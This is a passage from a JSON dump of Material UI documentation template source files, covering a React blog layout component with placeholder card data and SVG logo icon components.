}}\n            >\n              <StyledCardContent\n                sx={{\n                  display: 'flex',\n                  flexDirection: 'column',\n                  justifyContent: 'space-between',\n                  height: '100%',\n                }}\n              >\n                <div>\n                  <Typography gutterBottom variant=\"caption\" component=\"div\">\n                    {cardData[3].tag}\n                  </Typography>\n                  <Typography gutterBottom variant=\"h6\" component=\"div\">\n                    {cardData[3].title}\n                  </Typography>\n                  <StyledTypography\n                    variant=\"body2\"\n                    gutterBottom\n                    sx={{ color: 'text.secondary' }}\n                  >\n                    {cardData[3].description}\n                  </StyledTypography>\n                </div>\n              </StyledCardContent>\n              <Author authors={cardData[3].authors} />\n            </StyledCard>\n            <StyledCard\n              variant=\"outlined\"\n              onFocus={() => handleFocus(4)}\n              onBlur={handleBlur}\n              tabIndex={0}\n              className={focusedCardIndex === 4 ? 'Mui-focused' : ''}\n              sx={{ height: '100%' }}\n            >\n              <StyledCardContent\n                sx={{\n                  display: 'flex',\n                  flexDirection: 'column',\n                  justifyContent: 'space-between',\n                  height: '100%',\n                }}\n              >\n                <div>\n                  <Typography gutterBottom variant=\"caption\" component=\"div\">\n                    {cardData[4].tag}\n                  </Typography>\n                  <Typography gutterBottom variant=\"h6\" component=\"div\">\n                    {cardData[4].title}\n                  </Typography>\n                  <StyledTypography\n                    variant=\"body2\"\n                    gutterBottom\n                    sx={{ color: 'text.secondary' }}\n                  >\n                    {cardData[4].description}\n                  </StyledTypography>\n                </div>\n              </StyledCardContent>\n              <Author authors={cardData[4].authors} />\n            </StyledCard>\n          </Box>\n        </Grid>\n        <Grid size={{ xs: 12, md: 4 }}>\n          <StyledCard\n            variant=\"outlined\"\n            onFocus={() => handleFocus(5)}\n            onBlur={handleBlur}\n            tabIndex={0}\n            className={focusedCardIndex === 5 ? 'Mui-focused' : ''}\n            sx={{ height: '100%' }}\n          >\n            <CardMedia\n              component=\"img\"\n              alt=\"green iguana\"\n              image={cardData[5].img}\n              sx={{\n                height: { sm: 'auto', md: '50%' },\n                aspectRatio: { sm: '16 / 9', md: '' },\n              }}\n            />\n            <StyledCardContent>\n              <Typography gutterBottom variant=\"caption\" component=\"div\">\n                {cardData[5].tag}\n              </Typography>\n              <Typography gutterBottom variant=\"h6\" component=\"div\">\n                {cardData[5].title}\n              </Typography>\n              <StyledTypography\n                variant=\"body2\"\n                gutterBottom\n                sx={{ color: 'text.secondary' }}\n              >\n                {cardData[5].description}\n              </StyledTypography>\n            </StyledCardContent>\n            <Author authors={cardData[5].authors} />\n          </StyledCard>\n        </Grid>\n      </Grid>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/blog/components/MainContent.tsx",
    "content": "import * as React from 'react';\nimport Avatar from '@mui/material/Avatar';\nimport AvatarGroup from '@mui/material/AvatarGroup';\nimport Box from '@mui/material/Box';\nimport Card from '@mui/material/Card';\nimport CardContent from '@mui/material/CardContent';\nimport CardMedia from '@mui/material/CardMedia';\nimport Chip from '@mui/material/Chip';\nimport Grid from '@mui/material/Grid';\nimport IconButton from '@mui/material/IconButton';\nimport Typography from '@mui/material/Typography';\nimport FormControl from '@mui/material/FormControl';\nimport InputAdornment from '@mui/material/InputAdornment';\nimport OutlinedInput from '@mui/material/OutlinedInput';\nimport { styled } from '@mui/material/styles';\nimport SearchRoundedIcon from '@mui/icons-material/SearchRounded';\nimport RssFeedRoundedIcon from '@mui/icons-material/RssFeedRounded';\n\nconst cardData = [\n  {\n    img: 'https://picsum.photos/800/450?random=1',\n    tag: 'Engineering',\n    title: 'Revolutionizing software development with cutting-edge tools',\n    description:\n      'Our latest engineering tools are designed to streamline workflows and boost productivity. Discover how these innovations are transforming the software development landscape.',\n    authors: [\n      { name: 'Remy Sharp', avatar: '/static/images/avatar/1.jpg' },\n      { name: 'Travis Howard', avatar: '/static/images/avatar/2.jpg' },\n    ],\n  },\n  {\n    img: 'https://picsum.photos/800/450?random=2',\n    tag: 'Product',\n    title: 'Innovative product features that drive success',\n    description:\n      'Explore the key features of our latest product release that are helping businesses achieve their goals. From user-friendly interfaces to robust functionality, learn why our product stands out.',\n    authors: [{ name: 'Erica Johns', avatar: '/static/images/avatar/6.jpg' }],\n  },\n  {\n    img: 'https://picsum.photos/800/450?random=3',\n    tag: 'Design',\n    title: 'Designing for the future: trends and insights',\n    description:\n      'Stay ahead of the curve with the latest design trends and insights. Our design team shares their expertise on creating intuitive and visually stunning user experiences.',\n    authors: [{ name: 'Kate Morrison', avatar: '/static/images/avatar/7.jpg' }],\n  },\n  {\n    img: 'https://picsum.photos/800/450?random=4',\n    tag: 'Company',\n    title: \"Our company's journey: milestones and achievements\",\n    description:\n      \"Take a look at our company's journey and the milestones we've achieved along the way. From humble beginnings to industry leader, discover our story of growth and success.\",\n    authors: [{ name: 'Cindy Baker', avatar: '/static/images/avatar/3.jpg' }],\n  },\n  {\n    img: 'https://picsum.photos/800/450?random=45',\n    tag: 'Engineering',\n    title: 'Pioneering sustainable engineering solutions',\n    description:\n      \"Learn about our commitment to sustainability and the innovative engineering solutions we're implementing to create a greener future. Discover the impact of our eco-friendly initiatives.\",\n    authors: [\n      { name: 'Agnes Walker', avatar: '/static/images/avatar/4.jpg' },\n      { name: 'Trevor Henderson', avatar: '/static/images/avatar/5.jpg' },\n    ],\n  },\n  {\n    img: 'https://picsum.photos/800/450?random=6',\n    tag: 'Product',\n    title: 'Maximizing efficiency with our latest product updates',\n    description:\n      'Our recent product updates are designed to help you maximize efficiency and achieve more. Get a detailed overview of the new features and improvements that can elevate your workflow.',\n    authors: [{ name: 'Travis Howard', avatar: '/static/images/avatar/2.jpg' }],\n  },\n];\n\nconst StyledCard = styled(Card)(({ theme }) => ({\n  display: 'flex',\n  flexDirection: 'column',\n  padding: 0,\n  height: '100%',\n  backgroundColor: (theme.vars || theme).palette.background.paper,\n  '&:hover': {\n    backgroundColor: 'transparent',\n    cursor: 'pointer',\n  },\n  '&:focus-visible': {\n    outline: '3px solid',\n    outlineColor: 'hsla(210, 98%, 48%, 0.5)',\n    outlineOffset: '2px',\n  },\n}));\n\nconst StyledCardContent = styled(CardContent)({\n  display: 'flex',\n  flexDirection: 'column',\n  gap: 4,\n  padding: 16,\n  flexGrow: 1,\n  '&:last-child': {\n    paddingBottom: 16,\n  },\n});\n\nconst StyledTypography = styled(Typography)({\n  display: '-webkit-box',\n  WebkitBoxOrient: 'vertical',\n  WebkitLineClamp: 2,\n  overflow: 'hidden',\n  textOverflow: 'ellipsis',\n});\n\nfunction Author({ authors }: { authors: { name: string; avatar: string }[] }) {\n  return (\n    <Box\n      sx={{\n        display: 'flex',\n        flexDirection: 'row',\n        gap: 2,\n        alignItems: 'center',\n        justifyContent: 'space-between',\n        padding: '16px',\n      }}\n    >\n      <Box\n        sx={{ display: 'flex', flexDirection: 'row', gap: 1, alignItems: 'center' }}\n      >\n        <AvatarGroup max={3}>\n          {authors.map((author, index) => (\n            <Avatar\n              key={index}\n              alt={author.name}\n              src={author.avatar}\n              sx={{ width: 24, height: 24 }}\n            />\n          ))}\n        </AvatarGroup>\n        <Typography variant=\"caption\">\n          {authors.map((author) => author.name).join(', ')}\n        </Typography>\n      </Box>\n      <Typography variant=\"caption\">July 14, 2021</Typography>\n    </Box>\n  );\n}\n\nexport function Search() {\n  return (\n    <FormControl sx={{ width: { xs: '100%', md: '25ch' } }} variant=\"outlined\">\n      <OutlinedInput\n        size=\"small\"\n        id=\"search\"\n        placeholder=\"Search…\"\n        sx={{ flexGrow: 1 }}\n        startAdornment={\n          <InputAdornment position=\"start\" sx={{ color: 'text.primary' }}>\n            <SearchRoundedIcon fontSize=\"small\" />\n          </InputAdornment>\n        }\n        inputProps={{\n          'aria-label': 'search',\n        }}\n      />\n    </FormControl>\n  );\n}\n\nexport default function MainContent() {\n  const [focusedCardIndex, setFocusedCardIndex] = React.useState<number | null>(\n    null,\n  );\n\n  const handleFocus = (index: number) => {\n    setFocusedCardIndex(index);\n  };\n\n  const handleBlur = () => {\n    setFocusedCardIndex(null);\n  };\n\n  const handleClick = () => {\n    console.info('You clicked the filter chip.');\n  };\n\n  return (\n    <Box sx={{ display: 'flex', flexDirection: 'column', gap: 4 }}>\n      <div>\n        <Typography variant=\"h1\" gutterBottom>\n          Blog\n        </Typography>\n        <Typography>Stay in the loop with the latest about our products</Typography>\n      </div>\n      <Box\n        sx={{\n          display: { xs: 'flex', sm: 'none' },\n          flexDirection: 'row',\n          gap: 1,\n          width: { xs: '100%', md: 'fit-content' },\n          overflow: 'auto',\n        }}\n      >\n        <Search />\n        <IconButton size=\"small\" aria-label=\"RSS feed\">\n          <RssFeedRoundedIcon />\n        </IconButton>\n      </Box>\n      <Box\n        sx={{\n          display: 'flex',\n          flexDirection: { xs: 'column-reverse', md: 'row' },\n          width: '100%',\n          justifyContent: 'space-between',\n          alignItems: { xs: 'start', md: 'center' },\n          gap: 4,\n          overflow: 'auto',\n        }}\n      >\n        <Box\n          sx={{\n            display: 'inline-flex',\n            flexDirection: 'row',\n            gap: 3,\n            overflow: 'auto',\n          }}\n        >\n          <Chip onClick={handleClick} size=\"medium\" label=\"All categories\" />\n          <Chip\n            onClick={handleClick}\n            size=\"medium\"\n            label=\"Company\"\n            sx={{\n              backgroundColor: 'transparent',\n              border: 'none',\n            }}\n          />\n          <Chip\n            onClick={handleClick}\n            size=\"medium\"\n            label=\"Product\"\n            sx={{\n              backgroundColor: 'transparent',\n              border: 'none',\n            }}\n          />\n          <Chip\n            onClick={handleClick}\n            size=\"medium\"\n            label=\"Design\"\n            sx={{\n              backgroundColor: 'transparent',\n              border: 'none',\n            }}\n          />\n          <Chip\n            onClick={handleClick}\n            size=\"medium\"\n            label=\"Engineering\"\n            sx={{\n              backgroundColor: 'transparent',\n              border: 'none',\n            }}\n          />\n        </Box>\n        <Box\n          sx={{\n            display: { xs: 'none', sm: 'flex' },\n            flexDirection: 'row',\n            gap: 1,\n            width: { xs: '100%', md: 'fit-content' },\n            overflow: 'auto',\n          }}\n        >\n          <Search />\n          <IconButton size=\"small\" aria-label=\"RSS feed\">\n            <RssFeedRoundedIcon />\n          </IconButton>\n        </Box>\n      </Box>\n      <Grid container spacing={2} columns={12}>\n        <Grid size={{ xs: 12, md: 6 }}>\n          <StyledCard\n            variant=\"outlined\"\n            onFocus={() => handleFocus(0)}\n            onBlur={handleBlur}\n            tabIndex={0}\n            className={focusedCardIndex === 0 ? 'Mui-focused' : ''}\n          >\n            <CardMedia\n              component=\"img\"\n              alt=\"green iguana\"\n              image={cardData[0].img}\n              sx={{\n                aspectRatio: '16 / 9',\n                borderBottom: '1px solid',\n                borderColor: 'divider',\n              }}\n            />\n            <StyledCardContent>\n              <Typography gutterBottom variant=\"caption\" component=\"div\">\n                {cardData[0].tag}\n              </Typography>\n              <Typography gutterBottom variant=\"h6\" component=\"div\">\n                {cardData[0].title}\n              </Typography>\n              <StyledTypography\n                variant=\"body2\"\n                gutterBottom\n                sx={{ color: 'text.secondary' }}\n              >\n                {cardData[0].description}\n              </StyledTypography>\n            </StyledCardContent>\n            <Author authors={cardData[0].authors} />\n          </StyledCard>\n        </Grid>\n        <Grid size={{ xs: 12, md: 6 }}>\n          <StyledCard\n            variant=\"outlined\"\n            onFocus={() => handleFocus(1)}\n            onBlur={handleBlur}\n            tabIndex={0}\n            className={focusedCardIndex === 1 ? 'Mui-focused' : ''}\n          >\n            <CardMedia\n              component=\"img\"\n              alt=\"green iguana\"\n              image={cardData[1].img}\n              aspect-ratio=\"16 / 9\"\n              sx={{\n                borderBottom: '1px solid',\n                borderColor: 'divider',\n              }}\n            />\n            <StyledCardContent>\n              <Typography gutterBottom variant=\"caption\" component=\"div\">\n                {cardData[1].tag}\n              </Typography>\n              <Typography gutterBottom variant=\"h6\" component=\"div\">\n                {cardData[1].title}\n              </Typography>\n              <StyledTypography\n                variant=\"body2\"\n                gutterBottom\n                sx={{ color: 'text.secondary' }}\n              >\n                {cardData[1].description}\n              </StyledTypography>\n            </StyledCardContent>\n            <Author authors={cardData[1].authors} />\n          </StyledCard>\n        </Grid>\n        <Grid size={{ xs: 12, md: 4 }}>\n          <StyledCard\n            variant=\"outlined\"\n            onFocus={() => handleFocus(2)}\n            onBlur={handleBlur}\n            tabIndex={0}\n            className={focusedCardIndex === 2 ? 'Mui-focused' : ''}\n            sx={{ height: '100%' }}\n          >\n            <CardMedia\n              component=\"img\"\n              alt=\"green iguana\"\n              image={cardData[2].img}\n              sx={{\n                height: { sm: 'auto', md: '50%' },\n                aspectRatio: { sm: '16 / 9', md: '' },\n              }}\n            />\n            <StyledCardContent>\n              <Typography gutterBottom variant=\"caption\" component=\"div\">\n                {cardData[2].tag}\n              </Typography>\n              <Typography gutterBottom variant=\"h6\" component=\"div\">\n                {cardData[2].title}\n              </Typography>\n              <StyledTypography\n                variant=\"body2\"\n                gutterBottom\n                sx={{ color: 'text.secondary' }}\n              >\n                {cardData[2].description}\n              </StyledTypography>\n            </StyledCardContent>\n            <Author authors={cardData[2].authors} />\n          </StyledCard>\n        </Grid>\n        <Grid size={{ xs: 12, md: 4 }}>\n          <Box\n            sx={{ display: 'flex', flexDirection: 'column', gap: 2, height: '100%' }}\n          >\n            <StyledCard\n              variant=\"outlined\"\n              onFocus={() => handleFocus(3)}\n              onBlur={handleBlur}\n              tabIndex={0}\n              className={focusedCardIndex === 3 ? 'Mui-focused' : ''}\n              sx={{ height: '100%' }}\n            >\n              <StyledCardContent\n                sx={{\n                  display: 'flex',\n                  flexDirection: 'column',\n                  justifyContent: 'space-between',\n                  height: '100%',\n                }}\n              >\n                <div>\n                  <Typography gutterBottom variant=\"caption\" component=\"div\">\n                    {cardData[3].tag}\n                  </Typography>\n                  <Typography gutterBottom variant=\"h6\" component=\"div\">\n                    {cardData[3].title}\n                  </Typography>\n                  <StyledTypography\n                    variant=\"body2\"\n                    gutterBottom\n                    sx={{ color: 'text.secondary' }}\n                  >\n                    {cardData[3].description}\n                  </StyledTypography>\n                </div>\n              </StyledCardContent>\n              <Author authors={cardData[3].authors} />\n            </StyledCard>\n            <StyledCard\n              variant=\"outlined\"\n              onFocus={() => handleFocus(4)}\n              onBlur={handleBlur}\n              tabIndex={0}\n              className={focusedCardIndex === 4 ? 'Mui-focused' : ''}\n              sx={{ height: '100%' }}\n            >\n              <StyledCardContent\n                sx={{\n                  display: 'flex',\n                  flexDirection: 'column',\n                  justifyContent: 'space-between',\n                  height: '100%',\n                }}\n              >\n                <div>\n                  <Typography gutterBottom variant=\"caption\" component=\"div\">\n                    {cardData[4].tag}\n                  </Typography>\n                  <Typography gutterBottom variant=\"h6\" component=\"div\">\n                    {cardData[4].title}\n                  </Typography>\n                  <StyledTypography\n                    variant=\"body2\"\n                    gutterBottom\n                    sx={{ color: 'text.secondary' }}\n                  >\n                    {cardData[4].description}\n                  </StyledTypography>\n                </div>\n              </StyledCardContent>\n              <Author authors={cardData[4].authors} />\n            </StyledCard>\n          </Box>\n        </Grid>\n        <Grid size={{ xs: 12, md: 4 }}>\n          <StyledCard\n            variant=\"outlined\"\n            onFocus={() => handleFocus(5)}\n            onBlur={handleBlur}\n            tabIndex={0}\n            className={focusedCardIndex === 5 ? 'Mui-focused' : ''}\n            sx={{ height: '100%' }}\n          >\n            <CardMedia\n              component=\"img\"\n              alt=\"green iguana\"\n              image={cardData[5].img}\n              sx={{\n                height: { sm: 'auto', md: '50%' },\n                aspectRatio: { sm: '16 / 9', md: '' },\n              }}\n            />\n            <StyledCardContent>\n              <Typography gutterBottom variant=\"caption\" component=\"div\">\n                {cardData[5].tag}\n              </Typography>\n              <Typography gutterBottom variant=\"h6\" component=\"div\">\n                {cardData[5].title}\n              </Typography>\n              <StyledTypography\n                variant=\"body2\"\n                gutterBottom\n                sx={{ color: 'text.secondary' }}\n              >\n                {cardData[5].description}\n              </StyledTypography>\n            </StyledCardContent>\n            <Author authors={cardData[5].authors} />\n          </StyledCard>\n        </Grid>\n      </Grid>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/blog/components/SitemarkIcon.js",
    "content": "import SvgIcon from '@mui/material/SvgIcon';\n\nexport default function SitemarkIcon() {\n  return (\n    <SvgIcon sx={{ height: 21, width: 100, mr: 2 }}>\n      <svg\n        width={86}\n        height={19}\n        viewBox=\"0 0 86 19\"\n        fill=\"none\"\n        xmlns=\"http://www.w3.org/2000/svg\"\n      >\n        <path\n          fill=\"#B4C0D3\"\n          d=\"m.787 12.567 6.055-2.675 3.485 2.006.704 6.583-4.295-.035.634-4.577-.74-.422-3.625 2.817-2.218-3.697Z\"\n        />\n        <path\n          fill=\"#00D3AB\"\n          d=\"m10.714 11.616 5.352 3.908 2.112-3.767-4.295-1.725v-.845l4.295-1.76-2.112-3.732-5.352 3.908v4.013Z\"\n        />\n        <path\n          fill=\"#4876EF\"\n          d=\"m10.327 7.286.704-6.583-4.295.07.634 4.577-.74.422-3.66-2.816L.786 6.617l6.055 2.676 3.485-2.007Z\"\n        />\n        <path\n          fill=\"#4876EE\"\n          d=\"M32.507 8.804v6.167h2.312v-7.86h-3.366v1.693h1.054ZM32.435 6.006c.212.22.535.33.968.33.434 0 .751-.11.953-.33.213-.23.318-.516.318-.86 0-.354-.105-.641-.318-.86-.202-.23-.52-.345-.953-.345-.433 0-.756.115-.968.344-.202.22-.303.507-.303.86 0 .345.101.632.303.861ZM24.46 14.799c.655.296 1.46.444 2.413.444.896 0 1.667-.139 2.312-.416.645-.277 1.141-.664 1.488-1.162.357-.506.535-1.094.535-1.764 0-.65-.169-1.2-.506-1.649-.328-.459-.785-.818-1.373-1.076-.587-.267-1.266-.435-2.037-.502l-.809-.071c-.481-.039-.828-.168-1.04-.388a1.08 1.08 0 0 1-.318-.774c0-.23.058-.44.173-.631.116-.201.29-.359.52-.474.241-.114.535-.172.882-.172.366 0 .67.067.91.201.053.029.104.059.15.09l.012.009.052.037c.146.111.263.243.35.395.125.21.188.444.188.703h2.311c0-.689-.159-1.286-.476-1.793-.318-.516-.776-.913-1.373-1.19-.588-.287-1.296-.43-2.124-.43-.79 0-1.474.133-2.052.4a3.131 3.131 0 0 0-1.358 1.12c-.318.487-.477 1.066-.477 1.735 0 .927.314 1.673.94 2.237.626.564 1.464.89 2.514.976l.794.071c.645.058 1.113.187 1.401.388a.899.899 0 0 1 .434.788 1.181 1.181 0 0 1-.231.717c-.154.201-.38.36-.68.474-.298.115-.669.172-1.112.172-.49 0-.89-.067-1.199-.2-.308-.144-.539-.33-.694-.56a1.375 1.375 0 0 1-.216-.746h-2.297c0 .679.168 1.281.505 1.807.337.517.834.928 1.489 1.234ZM39.977 15.07c-.8 0-1.445-.095-1.936-.286a2.03 2.03 0 0 1-1.084-.99c-.221-.469-.332-1.1-.332-1.893V8.789h-1.2V7.11h1.2V4.988h2.153V7.11h2.312V8.79h-2.312v3.198c0 .373.096.66.289.86.202.192.486.287.852.287h1.17v1.937h-1.112Z\"\n        />\n        <path\n          fill=\"#4876EE\"\n          fillRule=\"evenodd\"\n          d=\"M43.873 14.899c.52.23 1.117.344 1.791.344.665 0 1.252-.115 1.763-.344.51-.23.934-.55 1.271-.96.337-.412.564-.88.679-1.407h-2.124c-.096.24-.279.44-.549.603-.27.162-.616.244-1.04.244-.262 0-.497-.031-.704-.093a1.572 1.572 0 0 1-.423-.194 1.662 1.662 0 0 1-.636-.803 3.159 3.159 0 0 1-.163-.645h5.784v-.775a4.28 4.28 0 0 0-.463-1.98 3.686 3.686 0 0 0-1.343-1.477c-.578-.382-1.291-.574-2.139-.574-.645 0-1.223.115-1.733.345-.501.22-.92.52-1.257.903a4.178 4.178 0 0 0-.78 1.305c-.174.478-.26.98-.26 1.506v.287c0 .507.086 1.004.26 1.492.183.478.443.913.78 1.305.347.382.775.688 1.286.918Zm-.094-4.674.02-.09a2.507 2.507 0 0 1 .117-.356c.145-.354.356-.622.636-.804.104-.067.217-.123.339-.165.204-.071.433-.107.686-.107.395 0 .723.09.983.272.27.173.472.426.607.76a2.487 2.487 0 0 1 .16.603h-3.57c.006-.038.013-.076.022-.113Z\"\n          clipRule=\"evenodd\"\n        />\n        <path\n          fill=\"#4876EE\"\n          d=\"M50.476 14.97V7.112h1.835v1.98a4.54 4.54 0 0 1 .173-.603c.202-.536.506-.937.91-1.205.405-.277.9-.416 1.488-.416h.101c.598 0 1.094.139 1.489.416.404.268.707.67.91 1.205l.016.04.013.037.028-.077c.212-.536.52-.937.925-1.205.405-.277.901-.416 1.489-.416h.1c.598 0 1.098.139 1.503.416.414.268.727.67.94 1.205.211.535.317 1.205.317 2.008v4.475h-2.312v-4.604c0-.43-.115-.78-.346-1.047-.222-.268-.54-.402-.954-.402-.414 0-.742.139-.982.416-.241.268-.362.626-.362 1.076v4.56h-2.326v-4.603c0-.43-.115-.78-.346-1.047-.222-.268-.535-.402-.94-.402-.423 0-.756.139-.996.416-.241.268-.362.626-.362 1.076v4.56h-2.311Z\"\n        />\n        <path\n          fill=\"#4876EE\"\n          fillRule=\"evenodd\"\n          d=\"M68.888 13.456v1.515h1.834v-4.82c0-.726-.144-1.319-.433-1.778-.289-.468-.712-.817-1.271-1.047-.549-.23-1.228-.344-2.037-.344a27.76 27.76 0 0 0-.896.014c-.318.01-.626.024-.924.043l-.229.016a36.79 36.79 0 0 0-.552.042v1.936a81.998 81.998 0 0 1 1.733-.09 37.806 37.806 0 0 1 1.171-.025c.424 0 .732.1.925.301.193.201.289.502.289.904v.029h-1.43c-.704 0-1.325.09-1.864.272-.54.172-.959.445-1.257.818-.299.363-.448.832-.448 1.405 0 .526.12.98.361 1.363.24.373.573.66.997.86.433.201.934.302 1.502.302.55 0 1.012-.1 1.388-.302.385-.2.683-.487.895-.86a2.443 2.443 0 0 0 .228-.498l.018-.056Zm-.39-1.397v-.63h-1.445c-.405 0-.718.1-.939.3-.212.192-.318.455-.318.79 0 .157.026.3.08.429a.99.99 0 0 0 .238.345c.221.191.534.287.939.287a2.125 2.125 0 0 0 .394-.038c.106-.021.206-.052.3-.092.212-.095.385-.253.52-.473.135-.22.212-.526.23-.918Z\"\n          clipRule=\"evenodd\"\n        />\n        <path\n          fill=\"#4876EE\"\n          d=\"M72.106 14.97V7.11h1.835v2.595c.088-.74.31-1.338.665-1.791.481-.603 1.174-.904 2.08-.904h.303v1.98h-.578c-.635 0-1.127.172-1.473.516-.347.334-.52.822-.52 1.463v4.001h-2.312ZM79.92 11.298h.767l2.499 3.672h2.6l-3.169-4.51 2.606-3.35h-2.427l-2.875 3.737V4.5h-2.312v10.47h2.312v-3.672Z\"\n        />\n      </svg>\n    </SvgIcon>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/blog/components/SitemarkIcon.tsx",
    "content": "import SvgIcon from '@mui/material/SvgIcon';\n\nexport default function SitemarkIcon() {\n  return (\n    <SvgIcon sx={{ height: 21, width: 100, mr: 2 }}>\n      <svg\n        width={86}\n        height={19}\n        viewBox=\"0 0 86 19\"\n        fill=\"none\"\n        xmlns=\"http://www.w3.org/2000/svg\"\n      >\n        <path\n          fill=\"#B4C0D3\"\n          d=\"m.787 12.567 6.055-2.675 3.485 2.006.704 6.583-4.295-.035.634-4.577-.74-.422-3.625 2.817-2.218-3.697Z\"\n        />\n        <path\n          fill=\"#00D3AB\"\n          d=\"m10.714 11.616 5.352 3.908 2.112-3.767-4.295-1.725v-.845l4.295-1.76-2.112-3.732-5.352 3.908v4.013Z\"\n        />\n        <path\n          fill=\"#4876EF\"\n          d=\"m10.327 7.286.704-6.583-4.295.07.634 4.577-.74.422-3.66-2.816L.786 6.617l6.055 2.676 3.485-2.007Z\"\n        />\n        <path\n          fill=\"#4876EE\"\n          d=\"M32.507 8.804v6.167h2.312v-7.86h-3.366v1.693h1.054ZM32.435 6.006c.212.22.535.33.968.33.434 0 .751-.11.953-.33.213-.23.318-.516.318-.86 0-.354-.105-.641-.318-.86-.202-.23-.52-.345-.953-.345-.433 0-.756.115-.968.344-.202.22-.303.507-.303.86 0 .345.101.632.303.861ZM24.46 14.799c.655.296 1.46.444 2.413.444.896 0 1.667-.139 2.312-.416.645-.277 1.141-.664 1.488-1.162.357-.506.535-1.094.535-1.764 0-.65-.169-1.2-.506-1.649-.328-.459-.785-.818-1.373-1.076-.587-.267-1.266-.435-2.037-.502l-.809-.071c-.481-.039-.828-.168-1.04-.388a1.08 1.08 0 0 1-.318-.774c0-.23.058-.44.173-.631.116-.201.29-.359.52-.474.241-.114.535-.172.882-.172.366 0 .67.067.91.201.053.029.104.059.15.09l.012.009.052.037c.146.111.263.243.35.395.125.21.188.444.188.703h2.311c0-.689-.159-1.286-.476-1.793-.318-.516-.776-.913-1.373-1.19-.588-.287-1.296-.43-2.124-.43-.79 0-1.474.133-2.052.4a3.131 3.131 0 0 0-1.358 1.12c-.318.487-.477 1.066-.477 1.735 0 .927.314 1.673.94 2.237.626.564 1.464.89 2.514.976l.794.071c.645.058 1.113.187 1.401.388a.899.899 0 0 1 .434.788 1.181 1.181 0 0 1-.231.717c-.154.201-.38.36-.68.474-.298.115-.669.172-1.112.172-.49 0-.89-.067-1.199-.2-.308-.144-.539-.33-.694-.56a1.375 1.375 0 0 1-.216-.746h-2.297c0 .679.168 1.281.505 1.807.337.517.834.928 1.489 1.234ZM39.977 15.07c-.8 0-1.445-.095-1.936-.286a2.03 2.03 0 0 1-1.084-.99c-.221-.469-.332-1.1-.332-1.893V8.789h-1.2V7.11h1.2V4.988h2.153V7.11h2.312V8.79h-2.312v3.198c0 .373.096.66.289.86.202.192.486.287.852.287h1.17v1.937h-1.112Z\"\n        />\n        <path\n          fill=\"#4876EE\"\n          fillRule=\"evenodd\"\n          d=\"M43.873 14.899c.52.23 1.117.344 1.791.344.665 0 1.252-.115 1.763-.344.51-.23.934-.55 1.271-.96.337-.412.564-.88.679-1.407h-2.124c-.096.24-.279.44-.549.603-.27.162-.616.244-1.04.244-.262 0-.497-.031-.704-.093a1.572 1.572 0 0 1-.423-.194 1.662 1.662 0 0 1-.636-.803 3.159 3.159 0 0 1-.163-.645h5.784v-.775a4.28 4.28 0 0 0-.463-1.98 3.686 3.686 0 0 0-1.343-1.477c-.578-.382-1.291-.574-2.139-.574-.645 0-1.223.115-1.733.345-.501.22-.92.52-1.257.903a4.178 4.178 0 0 0-.78 1.305c-.174.478-.26.98-.26 1.506v.287c0 .507.086 1.004.26 1.492.183.478.443.913.78 1.305.347.382.775.688 1.286.918Zm-.094-4.674.02-.09a2.507 2.507 0 0 1 .117-.356c.145-.354.356-.622.636-.804.104-.067.217-.123.339-.165.204-.071.433-.107.686-.107.395 0 .723.09.983.272.27.173.472.426.607.76a2.487 2.487 0 0 1 .16.603h-3.57c.006-.038.013-.076.022-.113Z\"\n          clipRule=\"evenodd\"\n        />\n        <path\n          fill=\"#4876EE\"\n          d=\"M50.476 14.97V7.112h1.835v1.98a4.54 4.54 0 0 1 .173-.603c.202-.536.506-.937.91-1.205.405-.277.9-.416 1.488-.416h.101c.598 0 1.094.139 1.489.416.404.268.707.67.91 1.205l.016.04.013.037.028-.077c.212-.536.52-.937.925-1.205.405-.277.901-.416 1.489-.416h.1c.598 0 1.098.139 1.503.416.414.268.727.67.94 1.205.211.535.317 1.205.317 2.008v4.475h-2.312v-4.604c0-.43-.115-.78-.346-1.047-.222-.268-.54-.402-.954-.402-.414 0-.742.139-.982.416-.241.268-.362.626-.362 1.076v4.56h-2.326v-4.603c0-.43-.115-.78-.346-1.047-.222-.268-.535-.402-.94-.402-.423 0-.756.139-.996.416-.241.268-.362.626-.362 1.076v4.56h-2.311Z\"\n        />\n        <path\n          fill=\"#4876EE\"\n          fillRule=\"evenodd\"\n          d=\"M68.888 13.456v1.515h1.834v-4.82c0-.726-.144-1.319-.433-1.778-.289-.468-.712-.817-1.271-1.047-.549-.23-1.228-.344-2.037-.344a27.76 27.76 0 0 0-.896.014c-.318.01-.626.024-.924.043l-.229.016a36.79 36.79 0 0 0-.552.042v1.936a81.998 81.998 0 0 1 1.733-.09 37.806 37.806 0 0 1 1.171-.025c.424 0 .732.1.925.301.193.201.289.502.289.904v.029h-1.43c-.704 0-1.325.09-1.864.272-.54.172-.959.445-1.257.818-.299.363-.448.832-.448 1.405 0 .526.12.98.361 1.363.24.373.573.66.997.86.433.201.934.302 1.502.302.55 0 1.012-.1 1.388-.302.385-.2.683-.487.895-.86a2.443 2.443 0 0 0 .228-.498l.018-.056Zm-.39-1.397v-.63h-1.445c-.405 0-.718.1-.939.3-.212.192-.318.455-.318.79 0 .157.026.3.08.429a.99.99 0 0 0 .238.345c.221.191.534.287.939.287a2.125 2.125 0 0 0 .394-.038c.106-.021.206-.052.3-.092.212-.095.385-.253.52-.473.135-.22.212-.526.23-.918Z\"\n          clipRule=\"evenodd\"\n        />\n        <path\n          fill=\"#4876EE\"\n          d=\"M72.106 14.97V7.11h1.835v2.595c.088-.74.31-1.338.665-1.791.481-.603 1.174-.904 2.08-.904h.303v1.98h-.578c-.635 0-1.127.172-1.473.516-.347.334-.52.822-.52 1.463v4.001h-2.312ZM79.92 11.298h.767l2.499 3.672h2.6l-3.169-4.51 2.606-3.35h-2.427l-2.875 3.737V4.5h-2.312v10.47h2.312v-3.672Z\"\n        />\n      </svg>\n    </SvgIcon>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/checkout/Checkout.js",
